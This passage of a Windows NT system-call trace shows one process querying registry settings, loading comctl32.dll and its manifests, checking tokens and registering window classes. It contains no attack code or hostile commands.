 00543  1356   NtQueryValueKey  (-2147482648,  (-2147482648, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00544  1356   NtClose  (-2147482648, ... ) == 0x0
 00545  1356   NtClose  (-2147482576, ... ) == 0x0
 00535  1356   NtQueryDefaultUILanguage  ... ) == 0x0
 00546  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1238048, ... ) }, 1238048, ... ) == 0x0
 00547  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 5, 96, ... 56, {status=0x0, info=1}, ) }, 5, 96, ... 56, {status=0x0, info=1}, ) == 0x0
 00548  1356   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 56, ... 64, ) == 0x0
 00549  1356   NtClose  (56, ... ) == 0x0
 00550  1356   NtMapViewOfSection  (64, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x840000), 0x0, 4096, ) == 0x0
 00551  1356   NtClose  (64, ... ) == 0x0
 00552  1356   NtUnmapViewOfSection  (-1, 0x840000, ... ) == 0x0
 00553  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1237644, ... ) }, 1237644, ... ) == 0x0
 00554  1356   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1238388,  (0x80100080, {24, 0, 0x40, 0, 1238388, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 0x0, 0, 5, 1, 96, 0, 0, ... 64, {status=0x0, info=1}, ) }, 0x0, 0, 5, 1, 96, 0, 0, ... 64, {status=0x0, info=1}, ) == 0x0
 00555  1356   NtCreateSection  (0xf0005, 0x0, 0x0, 2, 134217728, 64, ... 56, ) == 0x0
 00556  1356   NtClose  (64, ... ) == 0x0
 00557  1356   NtMapViewOfSection  (56, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 2, ... (0x840000), {0, 0}, 4096, ) == 0x0
 00558  1356   NtClose  (56, ... ) == 0x0
 00559  1356   NtUnmapViewOfSection  (-1, 0x840000, ... ) == 0x0
 00560  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1, 96, ... 56, {status=0x0, info=1}, ) }, 1, 96, ... 56, {status=0x0, info=1}, ) == 0x0
 00561  1356   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 56, ... 64, ) == 0x0
 00562  1356   NtMapViewOfSection  (64, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 2, ... (0x840000), 0x0, 4096, ) == 0x0
 00563  1356   NtQueryInformationFile  (56, 1238040, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 00564  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00565  1356   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1238340, 1179817, 1238064}  (24, {128, 156, new_msg, 0, 2088850039, 1238340, 1179817, 1238064} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\18\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\08\351\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75576, 0} "\260d\27\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\18\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\08\351\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 220, 1356, 75576, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1238340, 1179817, 1238064} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\18\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\08\351\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75576, 0} "\260d\27\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\3\0@\0D\0\250\6$\18\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\355\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\26\0\30\0\354\6$\1\0\0\0\0\0\0\0\08\351\22\0\0\0\0\0" )  ) == 0x0
 00566  1356   NtClose  (56, ... ) == 0x0
 00567  1356   NtClose  (64, ... ) == 0x0
 00568  1356   NtUnmapViewOfSection  (-1, 0x840000, ... ) == 0x0
 00569  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00570  1356   NtUserRegisterWindowMessage  ( ("ShellGetDragImage", ... ) , ... ) == 0xc03a
 00571  1356   NtUserSystemParametersInfo  (104, 0, 2001084812, 0, ... ) == 0x1
 00572  1356   NtUserGetDC  (0, ... ) == 0x1010050
 00573  1356   NtUserCallOneParam  (16842832, 57, ... ) == 0x1
 00574  1356   NtUserSystemParametersInfo  (38, 4, 2001086940, 0, ... ) == 0x1
 00575  1356   NtUserSystemParametersInfo  (66, 12, 1240040, 0, ... ) == 0x1
 00576  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00577  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 64, ) == 0x0
 00578  1356   NtQueryInformationToken  (64, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00579  1356   NtClose  (64, ... ) == 0x0
 00580  1356   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 64, ) }, ... 64, ) == 0x0
 00581  1356   NtOpenProcessToken  (-1, 0x8, ... 56, ) == 0x0
 00582  1356   NtAccessCheck  (1332904, 56, 0x1, 1239872, 1239924, 56, 1239904, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00583  1356   NtClose  (56, ... ) == 0x0
 00584  1356   NtOpenKey  (0x20019, {24, 64, 0x40, 0, 0,  (0x20019, {24, 64, 0x40, 0, 0, "Control Panel\Desktop"}, ... 56, ) }, ... 56, ) == 0x0
 00585  1356   NtQueryValueKey  (56,  (56, "SmoothScroll", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00586  1356   NtClose  (56, ... ) == 0x0
 00587  1356   NtUserSystemParametersInfo  (41, 500, 1240068, 0, ... ) == 0x1
 00588  1356   NtOpenProcessToken  (-1, 0x8, ... 56, ) == 0x0
 00589  1356   NtAccessCheck  (1332904, 56, 0x1, 1239872, 1239924, 56, 1239904, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00590  1356   NtClose  (56, ... ) == 0x0
 00591  1356   NtOpenKey  (0x20019, {24, 64, 0x40, 0, 0,  (0x20019, {24, 64, 0x40, 0, 0, "software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"}, ... 56, ) }, ... 56, ) == 0x0
 00592  1356   NtQueryValueKey  (56,  (56, "EnableBalloonTips", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00593  1356   NtClose  (56, ... ) == 0x0
 00594  1356   NtUserSystemParametersInfo  (27, 0, 2001085788, 0, ... ) == 0x1
 00595  1356   NtUserSystemParametersInfo  (102, 0, 2001086828, 0, ... ) == 0x1
 00596  1356   NtClose  (64, ... ) == 0x0
 00597  1356   NtUserSystemParametersInfo  (4130, 0, 1240572, 0, ... ) == 0x1
 00598  1356   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows NT\CurrentVersion\LanguagePack"}, ... 64, ) }, ... 64, ) == 0x0
 00599  1356   NtEnumerateValueKey  (64, 0, Full, 220, ... ) == STATUS_NO_MORE_ENTRIES
 00600  1356   NtClose  (64, ... ) == 0x0
 00601  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00602  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c03b
 00603  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c03d
 00604  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00605  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c03f
 00606  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00607  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c041
 00608  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00609  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c043
 00610  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c045
 00611  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00612  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c047
 00613  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00614  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c049
 00615  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00616  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c04b
 00617  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00618  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c04d
 00619  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00620  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c04f
 00621  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c051
 00622  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00623  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c053
 00624  1356   NtUserFindExistingCursorIcon  (1239816, 1239832, 1239880, ... ) == 0x10011
 00625  1356   NtUserRegisterClassExWOW  (1239760, 1239828, 1239844, 1239860, 0, 384, 0, ... ) == 0x8173c055
 00626  1356   NtUserFindExistingCursorIcon  (1239816, 1239832, 1239880, ... ) == 0x10011
 00627  1356   NtUserRegisterClassExWOW  (1239760, 1239828, 1239844, 1239860, 0, 384, 0, ... ) == 0x8173c057
 00628  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00629  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c059
 00630  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10013
 00631  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c05b
 00632  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00633  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c05d
 00634  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00635  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c05f
 00636  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00637  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c017
 00638  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00639  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c019
 00640  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10013
 00641  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c018
 00642  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00643  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c01a
 00644  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00645  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c01c
 00646  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00647  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c01e
 00648  1356   NtUserFindExistingCursorIcon  (1239812, 1239828, 1239876, ... ) == 0x10011
 00649  1356   NtUserRegisterClassExWOW  (1239812, 1239880, 1239896, 1239912, 0, 384, 0, ... ) == 0x8173c01b
 00650  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00651  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c068
 00652  1356   NtUserFindExistingCursorIcon  (1239820, 1239836, 1239884, ... ) == 0x10011
 00653  1356   NtUserRegisterClassExWOW  (1239764, 1239832, 1239848, 1239864, 0, 384, 0, ... ) == 0x8173c06a
 00654  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "comctl32.dll"}, ... 64, ) }, ... 64, ) == 0x0
 00655  1356   NtMapViewOfSection  (64, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x5d090000), 0x0, 630784, ) == 0x0
 00656  1356   NtClose  (64, ... ) == 0x0
 00657  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00658  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00659  1356   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00660  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00661  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00662  1356   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00663  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00664  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00665  1356   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00666  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00667  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00668  1356   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00669  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00670  1356   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00671  1356   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00672  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\comctl32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00673  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00674  1356   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 8650752, 65536, ) == 0x0
 00675  1356   NtAllocateVirtualMemory  (-1, 8650752, 0, 4096, 4096, 4, ... 8650752, 4096, ) == 0x0
 00676  1356   NtAllocateVirtualMemory  (-1, 8654848, 0, 8192, 4096, 4, ... 8654848, 8192, ) == 0x0
 00677  1356   NtAllocateVirtualMemory  (-1, 8663040, 0, 4096, 4096, 4, ... 8663040, 4096, ) == 0x0
 00678  1356   NtAllocateVirtualMemory  (-1, 8667136, 0, 4096, 4096, 4, ... 8667136, 4096, ) == 0x0
 00679  1356   NtQueryDefaultUILanguage  (1239820, ...
 00680  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00681  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147482576, ) == 0x0
 00682  1356   NtQueryInformationToken  (-2147482576, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00683  1356   NtClose  (-2147482576, ... ) == 0x0
 00684  1356   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147482576, ) }, ... -2147482576, ) == 0x0
 00685  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x240, 0, 0,  (0x80000000, {24, -2147482576, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00686  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x640, 0, 0,  (0x80000000, {24, -2147482576, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147482648, ) }, ... -2147482648, ) == 0x0
 00687  1356   NtQueryValueKey  (-2147482648,  (-2147482648, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00688  1356   NtClose  (-2147482648, ... ) == 0x0
 00689  1356   NtClose  (-2147482576, ... ) == 0x0
 00679  1356   NtQueryDefaultUILanguage  ... ) == 0x0
 00690  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\comctl32.dll"}, 1, 96, ... 64, {status=0x0, info=1}, ) }, 1, 96, ... 64, {status=0x0, info=1}, ) == 0x0
 00691  1356   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 64, ... 56, ) == 0x0
 00692  1356   NtMapViewOfSection  (56, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 2, ... (0x860000), 0x0, 618496, ) == 0x0
 00693  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\comctl32.dll.124.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00694  1356   NtQueryDefaultLocale  (1, 1237916, ... ) == 0x0
 00695  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\comctl32.dll.124.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00696  1356   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1238952, 1179817, 1238676}  (24, {128, 156, new_msg, 0, 2088850039, 1238952, 1179817, 1238676} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1@\0\0\0\377\377\377\377\0\0\0\0\340q\215\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0\234\353\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75648, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1@\0\0\0\377\377\377\377\0\0\0\0\340q\215\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0\234\353\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 220, 1356, 75648, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1238952, 1179817, 1238676} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1@\0\0\0\377\377\377\377\0\0\0\0\340q\215\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0\234\353\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75648, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0@\0D\0\250\6$\1@\0\0\0\377\377\377\377\0\0\0\0\340q\215\0\0\0\0\0k\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\354\6$\1\0\0\0\0\0\0\0\0\234\353\22\0\0\0\0\0" )  ) == 0x0
 00697  1356   NtClose  (64, ... ) == 0x0
 00698  1356   NtClose  (56, ... ) == 0x0
 00699  1356   NtUnmapViewOfSection  (-1, 0x860000, ... ) == 0x0
 00700  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00701  1356   NtOpenProcess  (0x400, {24, 0, 0x0, 0, 0, 0x0}, {220, 0}, ... 56, ) == 0x0
 00702  1356   NtQueryInformationProcess  (56, Session, 4, ... {SessionId=0,}, 0x0, ) == 0x0
 00703  1356   NtClose  (56, ... ) == 0x0
 00704  1356   NtUserRegisterWindowMessage  ( ("ShellGetDragImage", ... ) , ... ) == 0xc03a
 00705  1356   NtUserSystemParametersInfo  (104, 0, 1561338260, 0, ... ) == 0x1
 00706  1356   NtUserSystemParametersInfo  (38, 4, 1561337988, 0, ... ) == 0x1
 00707  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00708  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... 56, ) == 0x0
 00709  1356   NtQueryInformationToken  (56, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00710  1356   NtClose  (56, ... ) == 0x0
 00711  1356   NtOpenKey  (0x20019, {24, 0, 0x640, 0, 0,  (0x20019, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... 56, ) }, ... 56, ) == 0x0
 00712  1356   NtOpenProcessToken  (-1, 0x8, ... 64, ) == 0x0
 00713  1356   NtAccessCheck  (1332904, 64, 0x1, 1241012, 1241064, 56, 1241044, ... ) == STATUS_NO_IMPERSONATION_TOKEN
 00714  1356   NtClose  (64, ... ) == 0x0
 00715  1356   NtOpenKey  (0x20019, {24, 56, 0x40, 0, 0,  (0x20019, {24, 56, 0x40, 0, 0, "Control Panel\Desktop"}, ... 64, ) }, ... 64, ) == 0x0
 00716  1356   NtQueryValueKey  (64,  (64, "SmoothScroll", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00717  1356   NtClose  (64, ... ) == 0x0
 00718  1356   NtUserSystemParametersInfo  (41, 500, 1241192, 0, ... ) == 0x1
 00719  1356   NtUserSystemParametersInfo  (102, 0, 1561338280, 0, ... ) == 0x1
 00720  1356   NtClose  (56, ... ) == 0x0
 00721  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00722  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c03b
 00723  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c03d
 00724  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00725  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c03f
 00726  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00727  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c041
 00728  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00729  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c043
 00730  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c045
 00731  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00732  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c047
 00733  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00734  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c049
 00735  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00736  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c04b
 00737  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00738  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c04d
 00739  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00740  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c04f
 00741  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c051
 00742  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00743  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c053
 00744  1356   NtUserFindExistingCursorIcon  (1240940, 1240956, 1241004, ... ) == 0x10011
 00745  1356   NtUserRegisterClassExWOW  (1240884, 1240952, 1240968, 1240984, 0, 384, 0, ... ) == 0x8173c055
 00746  1356   NtUserFindExistingCursorIcon  (1240940, 1240956, 1241004, ... ) == 0x10011
 00747  1356   NtUserRegisterClassExWOW  (1240884, 1240952, 1240968, 1240984, 0, 384, 0, ... ) == 0x8173c057
 00748  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10011
 00749  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c059
 00750  1356   NtUserFindExistingCursorIcon  (1240944, 1240960, 1241008, ... ) == 0x10013
 00751  1356   NtUserRegisterClassExWOW  (1240888, 1240956, 1240972, 1240988, 0, 384, 0, ... ) == 0x8173c05b
